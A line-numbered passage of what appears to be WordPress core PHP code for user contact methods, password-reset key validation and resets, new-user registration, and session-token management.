2027 if ( get_site_option( 'initial_db_version' ) < 23588 ) {
2028 $methods = array(
2029 'aim' => __( 'AIM' ),
2030 'yim' => __( 'Yahoo IM' ),
2031 'jabber' => __( 'Jabber / Google Talk' )
2032 );
2033 }
2034
2035 /**
2036 * Filter the user contact methods.
2037 *
2038 * @since 2.9.0
2039 *
2040 * @param array $methods Array of contact methods and their labels.
2041 * @param WP_User $user WP_User object.
2042 */
2043 return apply_filters( 'user_contactmethods', $methods, $user );
2044}
2045
2046/**
2047 * The old private function for setting up user contact methods.
2048 *
2049 * @since 2.9.0
2050 * @access private
2051 */
2052function _wp_get_user_contactmethods( $user = null ) {
2053 return wp_get_user_contact_methods( $user );
2054}
2055
2056/**
2057 * Retrieves a user row based on password reset key and login
2058 *
2059 * A key is considered 'expired' if it exactly matches the value of the
2060 * user_activation_key field, rather than being matched after going through the
2061 * hashing process. This field is now hashed; old values are no longer accepted
2062 * but have a different WP_Error code so good user feedback can be provided.
2063 *
2064 * @global wpdb $wpdb WordPress database object for queries.
2065 *
2066 * @param string $key Hash to validate sending user's password.
2067 * @param string $login The user login.
2068 * @return WP_User|WP_Error WP_User object on success, WP_Error object for invalid or expired keys.
2069 */
2070function check_password_reset_key($key, $login) {
2071 global $wpdb, $wp_hasher;
2072
2073 $key = preg_replace('/[^a-z0-9]/i', '', $key);
2074
2075 if ( empty( $key ) || !is_string( $key ) )
2076 return new WP_Error('invalid_key', __('Invalid key'));
2077
2078 if ( empty($login) || !is_string($login) )
2079 return new WP_Error('invalid_key', __('Invalid key'));
2080
2081 $row = $wpdb->get_row( $wpdb->prepare( "SELECT ID, user_activation_key FROM $wpdb->users WHERE user_login = %s", $login ) );
2082 if ( ! $row )
2083 return new WP_Error('invalid_key', __('Invalid key'));
2084
2085 if ( empty( $wp_hasher ) ) {
2086 require_once ABSPATH . WPINC . '/class-phpass.php';
2087 $wp_hasher = new PasswordHash( 8, true );
2088 }
2089
2090 if ( $wp_hasher->CheckPassword( $key, $row->user_activation_key ) )
2091 return get_userdata( $row->ID );
2092
2093 if ( $key === $row->user_activation_key ) {
2094 $return = new WP_Error( 'expired_key', __( 'Invalid key' ) );
2095 $user_id = $row->ID;
2096
2097 /**
2098 * Filter the return value of check_password_reset_key() when an
2099 * old-style key is used (plain-text key was stored in the database).
2100 *
2101 * @since 3.7.0
2102 *
2103 * @param WP_Error $return A WP_Error object denoting an expired key.
2104 * Return a WP_User object to validate the key.
2105 * @param int $user_id The matched user ID.
2106 */
2107 return apply_filters( 'password_reset_key_expired', $return, $user_id );
2108 }
2109
2110 return new WP_Error( 'invalid_key', __( 'Invalid key' ) );
2111}
2112
2113/**
2114 * Handles resetting the user's password.
2115 *
2116 * @param object $user The user
2117 * @param string $new_pass New password for the user in plaintext
2118 */
2119function reset_password( $user, $new_pass ) {
2120 /**
2121 * Fires before the user's password is reset.
2122 *
2123 * @since 1.5.0
2124 *
2125 * @param object $user The user.
2126 * @param string $new_pass New user password.
2127 */
2128 do_action( 'password_reset', $user, $new_pass );
2129
2130 wp_set_password( $new_pass, $user->ID );
2131 update_user_option( $user->ID, 'default_password_nag', false, true );
2132
2133 wp_password_change_notification( $user );
2134}
2135
2136/**
2137 * Handles registering a new user.
2138 *
2139 * @param string $user_login User's username for logging in
2140 * @param string $user_email User's email address to send password and add
2141 * @return int|WP_Error Either user's ID or error on failure.
2142 */
2143function register_new_user( $user_login, $user_email ) {
2144 $errors = new WP_Error();
2145
2146 $sanitized_user_login = sanitize_user( $user_login );
2147 /**
2148 * Filter the email address of a user being registered.
2149 *
2150 * @since 2.1.0
2151 *
2152 * @param string $user_email The email address of the new user.
2153 */
2154 $user_email = apply_filters( 'user_registration_email', $user_email );
2155
2156 // Check the username
2157 if ( $sanitized_user_login == '' ) {
2158 $errors->add( 'empty_username', __( '<strong>ERROR</strong>: Please enter a username.' ) );
2159 } elseif ( ! validate_username( $user_login ) ) {
2160 $errors->add( 'invalid_username', __( '<strong>ERROR</strong>: This username is invalid because it uses illegal characters. Please enter a valid username.' ) );
2161 $sanitized_user_login = '';
2162 } elseif ( username_exists( $sanitized_user_login ) ) {
2163 $errors->add( 'username_exists', __( '<strong>ERROR</strong>: This username is already registered. Please choose another one.' ) );
2164 }
2165
2166 // Check the e-mail address
2167 if ( $user_email == '' ) {
2168 $errors->add( 'empty_email', __( '<strong>ERROR</strong>: Please type your e-mail address.' ) );
2169 } elseif ( ! is_email( $user_email ) ) {
2170 $errors->add( 'invalid_email', __( '<strong>ERROR</strong>: The email address isn’t correct.' ) );
2171 $user_email = '';
2172 } elseif ( email_exists( $user_email ) ) {
2173 $errors->add( 'email_exists', __( '<strong>ERROR</strong>: This email is already registered, please choose another one.' ) );
2174 }
2175
2176 /**
2177 * Fires when submitting registration form data, before the user is created.
2178 *
2179 * @since 2.1.0
2180 *
2181 * @param string $sanitized_user_login The submitted username after being sanitized.
2182 * @param string $user_email The submitted email.
2183 * @param WP_Error $errors Contains any errors with submitted username and email,
2184 * e.g., an empty field, an invalid username or email,
2185 * or an existing username or email.
2186 */
2187 do_action( 'register_post', $sanitized_user_login, $user_email, $errors );
2188
2189 /**
2190 * Filter the errors encountered when a new user is being registered.
2191 *
2192 * The filtered WP_Error object may, for example, contain errors for an invalid
2193 * or existing username or email address. A WP_Error object should always returned,
2194 * but may or may not contain errors.
2195 *
2196 * If any errors are present in $errors, this will abort the user's registration.
2197 *
2198 * @since 2.1.0
2199 *
2200 * @param WP_Error $errors A WP_Error object containing any errors encountered
2201 * during registration.
2202 * @param string $sanitized_user_login User's username after it has been sanitized.
2203 * @param string $user_email User's email.
2204 */
2205 $errors = apply_filters( 'registration_errors', $errors, $sanitized_user_login, $user_email );
2206
2207 if ( $errors->get_error_code() )
2208 return $errors;
2209
2210 $user_pass = wp_generate_password( 12, false );
2211 $user_id = wp_create_user( $sanitized_user_login, $user_pass, $user_email );
2212 if ( ! $user_id || is_wp_error( $user_id ) ) {
2213 $errors->add( 'registerfail', sprintf( __( '<strong>ERROR</strong>: Couldn’t register you… please contact the <a href="mailto:%s">webmaster</a> !' ), get_option( 'admin_email' ) ) );
2214 return $errors;
2215 }
2216
2217 update_user_option( $user_id, 'default_password_nag', true, true ); //Set up the Password change nag.
2218
2219 wp_new_user_notification( $user_id, $user_pass );
2220
2221 return $user_id;
2222}
2223
2224/**
2225 * Retrieve the current session token from the logged_in cookie.
2226 *
2227 * @since 4.0.0
2228 *
2229 * @return string Token.
2230 */
2231function wp_get_session_token() {
2232 $cookie = wp_parse_auth_cookie( '', 'logged_in' );
2233 return ! empty( $cookie['token'] ) ? $cookie['token'] : '';
2234}
2235
2236/**
2237 * Retrieve a list of sessions for the current user.
2238 *
2239 * @since 4.0.0
2240 * @return array Array of sessions.
2241 */
2242function wp_get_all_sessions() {
2243 $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
2244 return $manager->get_all();
2245}
2246
2247/**
2248 * Remove the current session token from the database.
2249 *
2250 * @since 4.0.0
2251 */
2252function wp_destroy_current_session() {
2253 $token = wp_get_session_token();
2254 if ( $token ) {
2255 $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
2256 $manager->destroy( $token );
2257 }
2258}
2259
2260/**
2261 * Remove all but the current session token for the current user for the database.
2262 *
2263 * @since 4.0.0
2264 */
2265function wp_destroy_other_sessions() {
2266 $token = wp_get_session_token();
2267 if ( $token ) {
2268 $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
2269 $manager->destroy_others( $token );
2270 }
2271}
2272
2273/**
2274 * Remove all session tokens for the current user from the database.
2275 *
2276 * @since 4.0.0
2277 */
2278function wp_destroy_all_sessions() {
2279 $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
2280 $manager->destroy_all();
2281}